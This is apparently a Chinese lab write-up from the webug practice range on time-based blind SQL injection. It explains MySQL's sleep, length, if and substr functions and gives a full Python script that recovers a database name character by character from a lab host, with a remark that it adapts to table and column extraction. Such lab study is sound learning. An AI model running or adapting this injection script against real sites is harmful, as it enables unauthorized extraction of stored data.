在做webug的时候遇到了一题时间盲注,用到了mysql中的几个函数:sleep(n)
#延时执行length(string string)
#获得数据长度if(expr1, expr2, expr3)
#expr1为真执行expr2否则执行expr3substr(string string, num start, num length)
#从start开始(0,1一样)截取string长度为length
感受一下写好的脚本
其实盲注有点类似于爆破 需要一个字符一个字符的去猜解
#encoding=utf-8
#时间盲注脚本
import requests
import time
payloads = ‘qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{‘
#存放跑出的结果
length=0
database=’’
print ‘start get length…’
for l in range(1,21): #库名可能的长度 方便下一步爆破数据库名 其实这块代码不要也行 下面length设置足够长就好 就是废点时间
startTime1=time.time() #记录当前的时间戳
url1 = “http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)”%(l)
response1 = requests.get(url1)
if time.time() - startTime1 > 5: #当前的时间戳与之前的比较 是否执行了sleep(5)
length=l
print “the length is “ + str(length)
break
print ‘start database sql injection…’
for d in range(1,length+1):
for payload in payloads: #遍历字典
startTime2=time.time()
url2 = “http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),’%d’,1)=’%s’,sleep(5),1)”%(d,payload)
response2 = requests.get(url2) #发送请求
if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)
database+=payload
print database
break
print “the database is “ + database
大概就这样 其实很简单 把代码改改表和列都能跑出来
不过有点麻烦 一次只能跑一条出来 想想怎么自动化
关键是如何获取有多少个表、列 表、列名的长度